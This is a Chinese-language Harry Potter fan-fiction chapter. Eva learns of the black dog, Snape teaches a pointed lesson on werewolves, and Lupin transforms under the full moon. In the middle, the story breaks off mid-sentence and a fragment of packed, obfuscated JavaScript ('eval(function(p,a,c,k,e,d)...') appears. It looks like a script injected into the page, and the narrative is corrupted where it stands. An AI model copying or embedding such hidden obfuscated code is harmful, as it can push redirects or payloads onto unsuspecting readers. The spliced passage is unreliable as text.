十二月的第二周,霍格沃茨彻底沉入了严冬的怀抱。 庭院里的积雪厚得能淹没矮生的护树罗锅,家养小精灵们日夜轮班,在主路上维持着一条勉强通行的小径。城堡内部的石廊却依旧阴冷刺骨,火把的光晕在潮湿的空气里摇曳,将学生们匆匆而过的影子拉长又揉碎,像一群无声掠过冰面的水鸟。 圣诞假期前的最后几天,城堡里弥漫着一种奇特的、紧绷的松弛感。教授们加快了授课节奏,羊皮纸作业如雪片般落下;而学生们的心思早已飘向回家的行李和炉火旁的礼物。只有少数人知道,在这片表面日益浓厚的节日气氛之下,一些更沉重的东西正悄然迫近。 周三傍晚,当天晚上的辅导课被通知取消了。此时图书馆。 Eva没有走向她惯常的靠窗位置。她的目光快速扫过一排排高大的书架,最终在靠近禁书区入口、一个相对隐蔽的角落,找到了她要找的人。 哈利、罗恩和赫敏挤在一张小圆桌旁。桌面被几本厚重得足以充当武器的大部头书籍占据,羊皮纸散乱地堆叠着,上面写满了密密麻麻的笔记。赫敏正飞快地翻阅着一本《威森加摩审判程序手册》,眉头紧锁;罗恩则对着一本《近代重大魔法犯罪案例分析摘要》打哈欠;哈利则心不在焉地用羽毛笔在空白处画着无意义的线条,绿眼睛下的阴影浓重。 他们周围笼罩着一层几乎难以察觉的、轻微的空气扭曲——是闭耳塞听咒。 Eva没有犹豫,径直走了过去。察觉到有人靠近,三人同时抬起头,赫敏的手下意识地盖住了摊开的一页涉及“小矮星彼得”名字的庭审记录摘要。 “Eva?”哈利的声音带着一丝惊讶,但更多的是疲惫。 Eva在他们旁边一张空椅子上坐下,动作很轻。她看了一眼那层无形的隔音屏障,确认它依然稳固,然后才开口,声音压得极低,确保只在咒语范围内能被听清。 “我发现了一些东西,”她开门见山,目光扫过三人,“关于一只黑狗。” 哈利立刻坐直了身体,罗恩的哈欠卡在喉咙里,赫敏也放下了手中的书,棕色的眼睛锐利地看向她。 “昨天下午,我在庭院温室附近的偏僻角落,”Eva的声音平稳,但每个字都清晰,“又看到了它。就在禁林边缘,盯着城堡——格兰芬多塔楼的方向。” 罗恩倒吸一口凉气,下意识地左右张望,仿佛那只狗会从书架后扑出来。哈利的脸色更加苍白,手指无意识地蜷缩起来。赫敏则迅速抓住了关键:“‘又’看到?你之前见过它?在哪里?” “暑假,在伦敦,破釜酒吧附近的巷子里。”Eva简要地叙述了那次相遇——受伤的巨大黑狗,她支付的加隆,汤姆老板含糊的承诺。“当时我以为它只是普通的流浪动物,被处理后可能放生了,或者……” “或者根本没被处理,”赫敏接上,语速飞快,“而是自己‘处理’了伤势,然后一路北上,来到了这里。一只普通的狗,不可能穿越那么远的距离,尤其是魔法部还在全力追捕布莱克的情况下。” “它看起来怎么样?”哈利追问,声音紧绷,“我是说……它还好吗?” 这个问题让Eva看了他一眼。哈利似乎并未意识到自己语气里那丝异样的关切,或许连他自己都分辨不清这关切是针对一个可能的威胁,还是别的什么。 “很瘦,但行动看起来没有大碍。爪子上……可能有新的伤口,雪地里有一点暗红色的痕迹,像是血迹,但已经冻住了。”她描述着,同时仔细观察三人的反应,“它很警觉,停留时间很短,像是在观察,又像是……在确认什么。它离开的方向是禁林深处。” “它在监视城堡,”赫敏肯定地说,手指无意识地敲击着桌面。 罗恩下意识地左右张望,仿佛那只狗会从书架后扑出来。他的声音发干,手指无意识地捻着一片从袍子上摘下的线头,“或者说……在等什么。等斑——等彼得露出马脚?还是等我们放松警惕?” 哈利盯着桌上羊皮纸的纹路,声音低沉:“如果它真的是布莱克……如果他真的为了追杀彼得才越狱……”他没说完,但拳头在桌下攥紧了。那个“如果”背后,是他父母死亡真相的另一种可能,是他整个童年认知的基石可能崩塌的恐怖。 赫敏迅速瞥了一眼图书馆深处平斯夫人的方向,声音压得更低:“它在观察,而且可能在等机会。布莱克的目标如果是彼得——如果彼得真的在这里——那么他必须靠近城堡才能确认,甚至找到机会。但摄魂怪在巡逻,城堡戒备森严,他只能在外围徘徊。”她转向罗恩,语气带着不容置疑的严肃:“罗恩,我知道这很难,但你必须像平时一样对待斑斑。任何异常——哪怕只是多看它一眼——都可能惊动它。一个能伪装十二年的阿尼马格斯,警觉性一定超乎想象。” 罗恩的脸色白了白,他咽了口唾沫:“它昨晚……还睡在我的枕头边上。我早上醒来时,它正盯着我看。”他的声音带着后知后觉的恐惧,“我以前觉得那是老鼠在发呆,但现在……” “那我们怎么办?”罗恩的声音带着恐慌,“告诉教授?说我们在禁林边看到一只可能(他艰难地吞咽了一下)可能是阿尼马格斯的黑狗?就凭我们看到的和一张旧地图?” “证据,”赫敏咬着下唇,“我们需要更多确凿的证据。关于彼得,关于布莱克,关于他们之间到底发生了什么。地图上的名字是间接的,黑狗的出现也是间接的。我们需要抓住彼得现形,或者……”她没有说下去,但意思很明显,或者找到布莱克。 “观察,”Eva轻声说,重申了她之前的承诺,“更谨慎,更隐蔽。如果它真的在固定时间、固定地点出现,或许我们能发现规律。但必须极其小心,不能让它察觉被跟踪。” 哈利沉默了片刻,绿眼睛里翻涌着复杂的情绪——恐惧、愤怒、急切,还有一种被真相牵引着不得不向前的沉重。他最终点了点头:“好。我们分头观察,用地图确认斑——彼得的动向,同时在安全的前提下留意城堡外围,特别是禁林边缘靠近格兰芬多塔楼的区域。任何发现,第一时间用最安全的方式通气。” 他看向Eva,眼神里有沉重的托付,也有一丝感激:“谢谢你来告诉我们这个。” Eva微微颔首。秘密的重量似乎又增加了,但四人之间那条无形的纽带也因此而更加牢固。窗外的天色彻底暗了下来,图书馆的灯火在古老的石墙上投下沉默的影子。新一轮的观察与等待,在这片看似平静、实则暗流涌动的雪夜中,悄然拉开了帷幕。 周四下午的黑魔法防御术课,气氛异常。 当拉文克劳和斯莱特林的学生走进教室时,讲台后站着的人不是卢平。 是西弗勒斯·斯内普。 他背对教室站在窗前,黑袍像一片凝固的夜色。当最后一名学生坐下后,他才缓缓转身,黑眼睛如冰冷的探针扫过全场。 “卢平教授……身体不适。”他的声音拖长了,带着某种刻意强调的停顿,“在邓布利多教授的授意下,由我暂代今天的课程。” 教室里鸦雀无声。拉文克劳这边,帕德玛不安地调整了一下坐姿;曼蒂紧紧抓住了Eva的袍袖。斯莱特林长桌则弥漫着一种克制的得意——潘西·帕金森挺直了背脊,德拉科·马尔福的目光落在空荡荡的讲台上,灰蓝色的瞳孔里闪过一丝极快的、难以解读的情绪。 “鉴于某些人对黑魔法防御术的基础认知……令人遗憾地浮于表面,”斯内普的声音像冰锥刮过石板,“我们今天将复习一些更为……实际的内容。” 他挥动魔杖,黑板上浮现出冰冷清晰的标题: 识别与应对:黑暗生物——狼人 “翻开《黑暗力量:自卫指南》第三十四章。”斯内普走下讲台,黑袍在地面拖出细微的摩擦声,“我们将系统学习狼人的生理特征、行为模式,以及……最有效的遏制手段。” Eva翻开课本。这一章她曾浏览过,枯燥而严谨。但此刻,在斯内普毫无温度的声音里,那些关于“月圆之夜不可控变形”、“骨骼重组伴随剧痛”、“攻击性极度增强”的描述,仿佛被注入了某种额外的、令人不安的实感。 “识别狼人的首要特征,”斯内普在课桌间缓慢踱步,突然在迈克尔·科纳的桌边停下,“除了显而易见的月相关联,还包括变形期间的瞳孔异常收缩。” 科纳下意识地坐直了身体。 “如果你在深夜走廊遇见一个瞳孔在月光下收缩成竖缝的人,”斯内普俯身,声音压得很低,“你该如何反应?大声呼救?转身逃跑?还是……试图用你那可怜的缴械咒?” 科纳张了张嘴,没发出声音。 “答案是:都不对。”斯内普直起身,目光像冰锥一样刺向拉文克劳区域,最终回到Eva脸上,“任何突然的动作或声音都可能触发攻击本能。你应当缓慢后退,避免直视,并在心中祈祷你已经掌握了至少一个像样的铁甲咒——” 他停顿了整整三秒,让寂静在教室里发酵。 “而根据我几周前魔药课的观察,”斯内普的声音陡然变冷,每个字都像碎冰砸在石板上,“某些学生,在面临区区河豚鱼胆粉末飞溅时,施展的盔甲护身都脆弱得可笑。张小姐,如果当时飞向你的不是粉末,而是狼人的爪子,你认为你那层可怜的防护能起到什么作用?” 直接的指名道姓。精准的时间地点。 Eva感到全教室的目光像针一样扎过来。帕德玛倒吸一口冷气——她想起了那天地窖里的意外,想起了Eva苍白着脸勉强支撑屏障的样子。原来斯内普注意到了,不仅注意到,还在此刻当着两个学院的面,将它作为反面教材剖开。 而斯内普甚至没有给Eva回答的时间。 “答案是什么都挡不住。”他自问自答,黑眼睛里没有丝毫温度,“只会给你一个虚假的安全感,然后在你最依赖它的时刻,让你死得更快。” 他转身走向讲台,黑袍翻涌如乌云。 “这就是今天的重点:认清自己的极限。不要因为一点好奇心,或是……可笑的同情心,”他背对着全班,声音却清晰得可怕,“就去接近你根本无法应对的危险。那不仅是愚蠢,更是对自己和他人的不负责任。” 课程的后半段,斯内普详细讲解了狼毒药剂的作用原理(“抑制而非消除”),强调了魔法部登记制度的监控本质(“掌握行踪,评估风险”)。他的讲解没有情感,只有赤裸的事实。 最后,他用那种能将空气冻结的语气总结: “永远记住:即使服用狼毒药剂,狼人依旧是狼人。某些……天性,是魔药无法根除的。最有效的防御,永远是保持距离,并在必要时,采取彻底的措施。” 他说“彻底的措施”时,黑眼睛缓缓扫过教室,仿佛在无声地拷问每个学生——你们有能力执行吗?你们有必要执行吗? 下课铃响了。 斯内普没有丝毫停留,黑袍一甩便消失在门后。 “他那些话……”帕德玛一边收拾书包,一边压低声音对Eva说,“不只是批评你的咒语。他是在警告,对不对?关于……接近危险?” 曼蒂搓着发冷的手指:“卢平教授到底生什么病啊?这周都好几次没来了……” Eva没有回答。她的目光穿过人群,落在正走出教室的斯内普背影上。黑袍在走廊的火把光中融入阴影,像一道通往更深黑暗的门。 周五晚上的守护神咒辅导课,卢平教授回来了。 但他看起来糟透了。 脸色是一种不正常的灰败,眼下的阴影深得像是连续几夜未眠,握着魔杖的手指在演示时微微发抖。教室里温暖的炉火似乎也照不进他周身那层无形的寒意。 “抱歉,前几天……有些私事需要处理。”他的声音比平时更轻,带着明显的疲惫,“我们继续。” 今晚的练习比上周更艰难。卢平的状态显然影响了他的教学——他依旧耐心,依旧温和地纠正每个学生的咒语发音和手势,但那种支撑着课堂的、沉稳的核心力量感减弱了,取而代之的是一种勉力维持的平静。 Eva闭上眼睛,沉入记忆。 黑暗,泥水,寒冷。然后是指尖的温暖,和那句平静到几乎听不见的:“丽华,爷爷在。” 不是快乐的回忆,甚至带着沉重的底色。但正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在关于魔法生物和法律典籍的区域,她找到了那本《英国魔法部神奇动物管理控制司条例详解》。关于狼人的章节冗长而冰冷,充斥着官僚式的条款和风险评估。但在第三百七十五页,她注意到一行用极小字体印刷的附注: “登记个体须于每月满月前48小时内向所在地魔法部办事处进行状态报备。逾期未报备者,将启动追踪程序。” 满月前48小时。她快速心算——如果满月就在周日或周一,那么报备截止时间就是……今天,或者明天。 而卢平教授“身体不适”的时间,正好吻合。 就在她合上书时,一个熟悉的身影在她对面坐下。 赫敏·格兰杰。怀里抱着那本厚重的《威森加摩重大审判案例全录(1970-1981)》,脸色苍白得像刷了石灰,但眼睛亮得惊人,带着一种近乎燃烧的专注。 “你在看狼人条例?”赫敏的声音压得很低,却像绷紧的弓弦。 “只是有些好奇。”Eva轻声说。 赫敏翻开那本巨著,找到夹着书签的一页。泛黄的羊皮纸上,魔法部官员潦草的字迹记录着十二年前那场短暂而潦草的审判。 “官方版本有很多断裂处,”赫敏的指尖划过一行被反复圈点的文字,“布莱克对杀害十三人的指控‘供认不讳’,但拒绝陈述动机。整个审判只用了三小时,没有交叉质询,没有完整证据链展示……就像他们急着要把他关进阿兹卡班,越快越好。” 她又翻了几页,指向几张模糊的黑白照片:“这是彼得‘遇害’现场的记录照。爆炸威力确实很大,但尸体的缺失模式……不符合这种爆炸该有的分布。而且为什么只有一根手指被‘找到’?其他部分呢?如果彼得真的被炸成碎片,为什么现场没有更多……组织残留?” 她的声音因激动而微微发颤:“我在想……如果彼得当时根本没有死,如果布莱克真的是为了追杀他才越狱,那么当年的审判可能根本不是正义的伸张,而是……一场掩盖。” 窗外,天色更加昏暗了,铅灰色的云层沉沉地压着城堡的塔尖。又要下雪了。 “你需要休息。”Eva看着赫敏眼下的青黑和微微发抖的手指。 “我没时间休息,”赫敏摇头,那动作里带着倔强,也带着深重的疲惫,“听证会可能随时开始,巴克比克……还有这件事……我必须弄清楚真相。时间可能不多了。” 最后这句话她说得很轻,却像一枚冰冷的石子,投入Eva心中那片已经泛起涟漪的湖面。 时间不多了——对巴克比克,对哈利,对那个潜伏在城堡内外的秘密,或许也对某个正在月圆阴影下挣扎的人。 平斯夫人开始清理书桌,提醒闭馆时间将至。赫敏匆忙收起那本厚重的案例集和散乱的笔记,对Eva点了点头,抱着摇摇欲坠的书堆消失在书架深处。 Eva又在图书馆坐了几分钟,直到平斯夫人投来催促的目光。 走廊里已经点起了火把,摇曳的光芒在冰冷的石壁上投下不安的影子。远处传来学生们晚餐前的喧闹,但在这条通往拉文克劳塔楼的僻静回廊里,只有她自己的脚步声在空旷中回响,一声,又一声,像是某种倒计时。 她想起卢平站在窗边那句轻得几乎听不见的“快月圆了”。 想起斯内普代课时那些关于狼人“天性”的、近乎刻意的强调。 想起赫敏眼中那种混合着疲惫与偏执的亮光,和那句“时间可能不多了”。 活点地图上那个静止的墨点,禁林边那只焦灼的黑狗,以及自己魔杖尖端那缕微弱却固执的暖意。 所有的线索像散落的星子,在冬日的夜空中沉默地排列,等待着一条看不见的线将它们串联,指向某个即将到来的、充满寒光与抉择的夜晚。 爷爷的叮嘱在耳边回响:“静观其变,守心为上。” 妈妈信里划着重点的“不参与、不涉险、求稳”。 她加快脚步,深蓝色的袍角拂过冰冷的石地板。窗外的夜色浓稠如墨,苏格兰高地的冬天,正在用它最沉默的方式,酝酿着一些无人能阻止的事情。 雪,又开始下了。细密而固执,仿佛要掩埋一切,却又在寂静中,让某些声音变得更加清晰。 82.月圆之下 周六的雪一直下到傍晚才停,庭院里积雪厚重,月光却异常慷慨地穿透云层缝隙,洒在霍格沃茨苍白的塔楼上,将每道石缝、每扇窗户都照得清清楚楚。那光不是暖黄色,而是冰冷的、近乎金属质感的银白,像刀锋在黑暗中磨亮。 晚餐时礼堂的气氛有些微妙。教师席上,卢平教授的座位空着——这已经是连续第三天了。麦格教授面色严肃,与邓布利多低声交谈着什么,斯内普教授则坐在稍远些的位置,黑眼睛偶尔扫向那个空座位,嘴角向下撇出一个冰冷的弧度。 拉文克劳长桌上,帕德玛正对丽莎小声说着什么关于变形术作业的困惑。曼蒂则兴致勃勃地和几个同样留校的拉文克劳女生讨论着明天是否能在庭院组织一场雪球大战——“只要不去禁林边上,费尔奇应该管不着吧?” Eva小口喝着蔬菜汤,目光掠过格兰芬多长桌。哈利、罗恩和赫敏坐在一起,但三个人之间的气氛明显紧绷。罗恩机械地嚼着土豆泥,眼神发直;赫敏面前摊着一本小册子(大概是《霍格沃茨:一段校史》的精简版),但她显然没看进去,羽毛笔无意识地在羊皮纸上画着圈;哈利则盯着自己的餐盘,绿眼睛在烛光下显得格外幽深,额头上那道疤痕在苍白皮肤的衬托下红得有些刺眼。 当一道特别大的银白色月光从高窗斜射进来,恰好落在格兰芬多长桌边缘时,哈利猛地抬起头,望向窗外。Eva顺着他的目光看去——满月,几乎正圆,高悬在禁林黑色的树冠之上,像一个冰冷的、无所不知的眼睛。 晚餐后返回塔楼的路上,雪又开始下了。细碎的雪花在月光中打着旋,像无数细小的银屑。公共休息室里炉火很旺,驱散了从袍子缝隙钻进来的寒意。Eva在靠窗的位置坐下,摊开古代如尼文作业,但目光总是不由自主地飘向窗外。 月光太亮了,亮得让人不安。 她想起卢平教授站在窗边的侧影,那句轻不可闻的“快月圆了”;想起斯内普教授代课时那些关于狼人“天性”的、近乎刻意的强调;想起赫敏眼中那种混合着疲惫与偏执的亮光。 “你还好吗,Eva?”帕德玛的声音把她拉回现实,“你盯着窗外看了好久了。” “只是觉得……月光太亮。”Eva轻声说,收回视线,“有点刺眼。” 她低头继续写作业,但心里那股莫名的不安并未消散。过了大约半小时,她放下羽毛笔——今晚实在无法集中精神。她决定去一趟医疗翼,庞弗雷夫人上周给的安神药水快用完了,正好去补充一些。这个时间,医疗翼应该还没关门,而且从拉文克劳塔楼到医疗翼。 向帕德玛和曼蒂简单说明后,Eva披上深蓝色的防水斗篷,独自离开塔楼。 从拉文克劳塔楼到医疗翼,最短的路线需要穿过城堡主楼,经过一段连接东西塔楼的空中廊桥——那条廊桥有一部分是露天的,可以俯瞰庭院。 走廊里已经没什么人,只有几幅肖像在打盹,火把的光芒在墙壁上投下晃动的影子。她的脚步声在空旷中回响,每一步都踩在自己平稳但稍快的心跳上。 就在她穿过门厅,准备踏上通往二楼的主楼梯时,眼角的余光瞥见庭院深处靠近打人柳的方向有几个移动的黑点。 月光下,积雪反射着刺眼的白光,几个移动的黑点格外显眼——是哈利、罗恩和赫敏。他们走得很急,几乎是跑着穿过庭院,直奔那棵在月光下静静矗立的打人柳。 打人柳——那棵暴躁的、会将任何靠近的生物抽飞的魔法植物。为什么偏偏是今晚?为什么偏偏是打人柳? Eva的脚步顿住了。她站在门厅与露天走廊的交界处,冷风裹挟着雪沫刮过脸颊。理智告诉她应该继续去医疗翼,完成预定的事情然后返回塔楼——这才是符合家人叮嘱、符合恢复期静养原则的选择。 她想起哈利晚餐时望向月光的警觉眼神,想起赫敏这些天埋头查案时苍白的脸,想起活点地图上那个静止的墨点,以及禁林边那只焦灼的黑狗。 如果今晚真的会发生什么……如果打人柳下真的藏着秘密通道…… 她深吸一口气,冰冷的空气刺痛肺叶。然后,她改变了方向——不是去医疗翼,而是走向那条通往露天走廊的侧门。她想看得更清楚些,只是想确认一下,确认他们安全进入城堡,或者确认他们返回。远远地看着,不靠近,不参与。 露天走廊寒风凛冽,月光毫无遮挡地倾泻下来,将一切都照得纤毫毕现。Eva靠在冰冷的石柱后,从这里可以清楚地看到打人柳所在的区域,但又保持着一个相对安全的距离。 哈利、罗恩和赫敏已经到达打人柳附近。他们似乎在树根处摸索着什么,动作很快,很急。然后——他们突然消失了。 不是走入阴影,不是被树木遮挡,而是像被地面吞噬一样,凭空消失在那片银白色的雪地中。 树洞。通道。 这个认知让Eva的心跳漏了一拍。几乎与此同时,禁林边缘,一个黑影猛地从树丛后窜出。 是那只黑狗。 它像一道黑色的闪电,在雪地上狂奔,直扑打人柳的方向。月光照在它瘦骨嶙峋的身体上,拉出长长的、扭曲的影子。它跑得极快,姿势却有些古怪——左后腿似乎使不上力,每一次落地都有些踉跄,在雪地上拖出一道断续的、歪斜的轨迹。 但它没有停下,没有犹豫,那双暗黄色的眼睛在月光下反射着近乎疯狂的光芒,死死盯着打人柳的根部。 它要进去。 Eva的手下意识地握住了袖中的魔杖。现在该怎么办?去找教授?等解释清楚,一切可能都晚了。冲过去?以她现在的状态,别说对付一个可能是阿尼马格斯的逃犯,就连在积雪中快速奔跑都困难。 就在她权衡的这几秒钟,黑狗已经冲到打人柳下,消失在同一个位置。 月光冰冷地照着空旷的庭院。打人柳静静矗立,枝条低垂,像什么都没发生过。 Eva感到一阵冰冷的无力感。她什么也做不了。体内“炁”几乎干涸,连一个像样的防御咒语都施展困难。爷爷的叮嘱“守心为上”,妈妈的告诫“不涉险地”,在此刻显得如此正确,又如此令人窒息。 她正准备转身离开,返回城堡——至少可以去通知教授,哪怕可能来不及——就在这时,身后传来极其轻微的、积雪被踩压的“咯吱”声。 不是风声,不是落雪。 有人。 Eva猛地转身,魔杖瞬间滑入掌心,杖尖指向声音来源。 月光下,露天走廊的另一端,一个人影僵在那里,显然没料到自己会被发现。 是德拉科·马尔福。 他穿着一身银绿色的厚重斗篷,脸色在月光下苍白得吓人,淡金色的头发被寒风吹得有些凌乱。看到Eva的魔杖指向自己,他灰蓝色的眼睛骤然睁大,随即迅速覆上一层惯有的、带着恼怒的冰冷。 “把魔杖放下,张。”他的声音压得很低,却带着不容置疑的命令口吻,“你想因为攻击同学被开除吗?” Eva没有放下魔杖,但也没有立刻施咒。她的目光快速扫过他——马尔福的斗篷下摆沾着大片的、新鲜湿润的雪泥,显然不是从温暖的地窖直接上来的;他的呼吸有些急促,胸口微微起伏,像是刚刚快速爬过楼梯;最重要的是,他的目光在她身上只停留了一瞬,就迅速越过她,死死锁定了庭院深处——打人柳的方向。 他不是偶然路过。他在观察庭院。也许已经观察了一会儿。 两人在月光下僵持着。寒风卷起雪沫,扑打在石柱和栏杆上,发出细碎的沙沙声。 就在这时,庭院深处传来一声沉闷的、仿佛什么东西被撞击的巨响。 紧接着,是打人柳枝条疯狂抽打的破空声——那棵暴躁的树醒了。 月光下,打人柳的枝条像无数条狂舞的巨蟒,抽打着空气和地面,溅起大片的雪雾。而在那片混乱中,几个身影跌跌撞撞地冲了出来。 是哈利、罗恩和赫敏。他们跑得狼狈不堪,罗恩似乎摔了一跤,被哈利和赫敏架着。他们身后,一个巨大的、黑影般的生物紧追不舍—— 是那只黑狗。 不,不仅仅是黑狗。 在黑狗扑向哈利的瞬间,月光下,那个黑色的轮廓开始扭曲、膨胀、变形——距离太远,细节模糊,但那种从兽到人的变形过程在月光下呈现出诡异的剪影。一个高大瘦削、衣衫褴褛的男人站了起来。 小天狼星·布莱克。 Eva听不清他们在喊什么,只能看到模糊的动作轮廓:布莱克扑向哈利,两人在雪地里翻滚;罗恩倒在一边;赫敏急促地挥动魔杖,杖尖迸出微弱的光芒。布莱克的动作不像要致命攻击,更像是在逼迫什么,而哈利在拼命挣扎。 Eva的大脑飞速运转。去找教授?最近的教师办公室在三楼,来回至少需要五分钟。五分钟,足够布莱克做任何事。 马尔福站在她身边几英尺外,也看到了庭院中的景象。他的脸色更加苍白,灰蓝色的眼睛里第一次露出了真实的、无法掩饰的惊恐——不是平时那种故作姿态的傲慢或讥讽,而是一种被眼前暴力场面彻底震慑住的、属于十三岁男孩的恐惧。他的手指无意识地抓紧了斗篷边缘,指关节泛白。 “我们……得去找教授……”他的声音干涩,带着一丝不易察觉的颤抖。 就在他说这句话的同时,庭院另一侧,城堡阴影里,又冲出来一个人影。 那个人跑得踉踉跄跄,几乎是连滚爬地冲向打人柳的方向。月光照在他身上——破旧的袍子,灰败的脸色,是卢平教授。 但他的样子不对劲。非常不对劲。 他扶着墙壁,整个人在剧烈地颤抖,像是承受着巨大的痛苦。当他抬起头时,月光清晰地照出他的脸——颧骨隆起,下颌拉长,牙齿变得尖锐,从苍白的嘴唇间龇出来。灰色的眼睛完全变成了野兽的竖瞳,里面最后一丝人性光芒正在迅速熄灭。 卢平——或者说,正在变成的狼人——朝着月亮发出一声压抑的、从胸腔深处挤出的嚎叫。那声音充满了纯粹的痛苦和野性,在寂静的夜空中回荡,令人毛骨悚然。 然后,它转向了庭院中缠斗的几人。 布莱克猛地松开哈利,转身面对狼人。两个成年巫师——一个阿尼马格斯,一个狼人——在月光下对峙。哈利挣扎着爬起来,想去捡魔杖;罗恩还倒在雪地里呻吟;赫敏则僵在原地,脸色惨白如纸。 露天走廊上,马尔福倒吸一口冷气,下意识地后退了一步,撞在了冰冷的石柱上。他的呼吸变得急促,瞳孔因为恐惧而放大。眼前的景象已经完全超出了他的认知——逃犯、狼人、教授……这些平时只在传闻和课本里出现的危险存在,此刻活生生地在月光下厮杀。 “走……”他嘶声对Eva说,声音因为恐惧而变形,“快走!” 但Eva没有动。她的目光紧盯着庭院。布莱克和狼人已经打了起来——不是巫师的决斗,是野兽般的撕咬和扑击。布莱克明显处于下风,他被狼人一爪拍中肩膀,鲜血瞬间染红了破旧的衣衫。 哈利终于捡起了魔杖。他举起它,杖尖颤抖着指向狼人,嘴里喊着什么咒语——但咒语的光芒微弱得可怜,打在狼人身上几乎毫无效果。 狼人转过头,那双野兽的竖瞳锁定了哈利。 它放弃了受伤的布莱克,转向了这个更近、更弱小的目标。肌肉在破旧的袍子下贲张,准备扑击。 赫敏的尖叫隐约传来。 就在这一瞬间,Eva动了。 不是冲下庭院——那太远,太迟。而是举起了魔杖,对准了露天走廊下方、庭院边缘的一排石雕护栏。 她调动了体内那口几乎干涸的“炁”井——不是强行抽取,而是像爷爷教的那样,让意念顺着经脉自然流转,触碰到那层薄薄的、刚刚开始恢复的“水”面。很微弱,很艰涩,经脉深处传来熟悉的滞痛感,像冰层裂开时的细碎声响。 但她没有停下。意念顺着紫杉木魔杖流淌,与杖身本身的温热触感共鸣,然后—— “粉身碎骨!” 咒语的光芒不是平时练习时的明亮红色,而是一种暗淡的、带着细微金色光点的暗红,像即将熄灭的炭火。光芒击中石雕护栏的基座,没有炸开,而是让那一整排护栏剧烈震动起来,发出沉闷的轰鸣。 巨大的声响和震动吸引了狼人的注意力。它猛地转头,竖瞳锁定了露天走廊的方向。 马尔福发出一声短促的惊叫:“你疯了吗?!” 狼人低吼着,放弃了哈利,四肢着地,像真正的野兽一样朝着露天走廊冲来。它的速度极快,在积雪中几乎不减速,转眼间就冲到了走廊下方。 Eva能清晰地看到它嘴里滴落的唾液,看到那双完全兽化的眼睛里纯粹的饥饿和攻击性。距离不到三十英尺,以狼人的速度,三秒就能扑上来。 马尔福已经退到了走廊尽头,背抵着墙壁,魔杖握在手里却抖得厉害,嘴唇哆嗦着,一个咒语都念不出来。恐惧彻底攫住了他——不是平时那种装模作样的高傲,而是最原始的、面对捕食者的本能战栗。 狼人弓起身,准备跃上露天走廊。 Eva深吸一口气,将全部意念沉入那口“井”。这一次不再温和,而是近乎粗暴地抽取——像从即将干涸的泉眼里,榨出最后一捧水。 经脉深处的滞痛变成了尖锐的刺痛,像有无数细针在扎。眼前开始发黑,耳畔嗡嗡作响。 但她没有停下。魔杖指向狼人前方的地面——不是对着狼人本身,那样可能激怒它,也可能根本打不中。 “火焰熊熊!” 咒语的光芒依旧是那种暗淡的、带着金色光点的暗红。没有腾起熊熊烈焰,只有一片诡异的、贴着地面蔓延的暗红色火墙,在狼人面前的积雪上燃烧起来。那火不热,甚至不融雪,反而散发着一种令人不安的、混合着焦糊和某种清冽草药的气息——那是她体内“炁”的特质,与魔法结合后产生的异变。 狼人猛地刹住脚步,对着那片火墙发出威胁性的低吼。它试探着伸出一只爪子,触碰火焰边缘,立刻触电般缩回,爪尖的皮毛焦黑了一片。它愤怒地咆哮,在原地焦躁地踱步,竖瞳死死盯着走廊上的两人,却暂时不敢越过那片诡异的火墙。 这给了Eva喘息的机会。她感到一阵剧烈的眩晕,不得不伸手扶住旁边的石柱才勉强站稳。体内的“炁”几乎被抽空了,那种深层的空乏感伴随着经脉的刺痛,让她眼前一阵阵发黑。 “走……”她嘶声对马尔福说,声音因为脱力而微弱,“趁现在……走……” 马尔福还僵在原地,灰蓝色的眼睛盯着那片诡异的火墙,又看向Eva苍白的脸和微微发抖的手。他的表情复杂得难以解读——有未散的恐惧,有震惊,有一丝被救后的茫然,还有一种……像是某种认知被彻底打碎后的空洞。 但他终于动了。不是自己逃跑,而是冲过来,一把抓住Eva的手臂——动作很重,几乎算得上粗鲁。 “你施的什么鬼东西?!”他的声音因为紧张而尖利,“那火为什么是那种颜色?!” Eva没有力气回答。她被他半拖半拽着往城堡内部跑,脚步踉跄。狼人在他们身后发出愤怒的咆哮,试图绕开火墙,但暗红色的火焰仿佛有生命般蔓延,始终挡在它面前。 他们冲进门厅,马尔福猛地甩上厚重的橡木门,用魔杖快速施了几个禁锢咒——动作虽然生疏,但至少完成了。门后传来狼人撞击的闷响,但厚重的木头和魔法暂时挡住了它。 门厅里空无一人,只有墙壁上的火把噼啪燃烧。马尔福松开Eva的手臂,后者几乎立刻顺着墙壁滑坐下去,呼吸急促,额头上全是冷汗。 马尔福站在她面前,胸口剧烈起伏,淡金色的头发被汗水打湿贴在额前。他盯着她看了几秒,灰蓝色的眼睛里翻涌着太多情绪——惊恐、愤怒、困惑,以及一种连他自己都未必理解的、近乎灼烧的烦躁。 “你……”他开口,声音依旧紧绷,“你刚才用的不是普通火焰咒。那是什么?你们东方的……把戏?” Eva闭着眼,努力调整呼吸。经脉的刺痛和空乏感像潮水般涌上来,她需要集中全部意志才能不晕过去。 “不重要。”她最终轻声说,声音微弱,“狼人……可能还会找路进来。得通知教授……” “已经有人去了。”马尔福打断她,语气依旧生硬,“我听到脚步声了。费尔奇和几个教授……在你放火之前就朝这边来了。大概是听到了打人柳那边的动静。” 果然,几秒钟后,杂乱的脚步声从楼梯方向传来。麦格教授冲在最前面,脸色铁青,魔杖已经握在手中;斯内普紧随其后,黑袍翻涌如乌云;后面跟着气喘吁吁的费尔奇和几个穿着睡袍、显然是被匆忙叫醒的其他教授。 “怎么回事?!”麦格教授的声音严厉得能刮下冰碴,“谁在施咒?庭院里发生了什么——” 她的目光落在坐在地上的Eva和站在一旁的马尔福身上,又看向紧闭的大门——门后传来狼人逐渐远去的咆哮声,以及庭院深处隐约的打斗声。 斯内普的黑眼睛像探针一样扫过两人,最终定格在Eva苍白的脸上和微微发抖的手上。“解释。”他的声音冰冷如刀。 马尔福抢先开口,声音已经恢复了惯有的、带着一丝刻意的镇定:“我们看到布莱克在庭院里攻击波特他们,然后卢平教授……变成了狼人。张用了火焰咒暂时挡住了它。” 麦格教授倒吸一口冷气:“狼人?卢平教授?”她的目光转向庭院方向,脸色更加难看。 斯内普已经挥动魔杖,解除了马尔福的禁锢咒,猛地拉开大门。寒风裹挟着雪沫灌进门厅,月光照进来,照亮了庭院中的景象—— 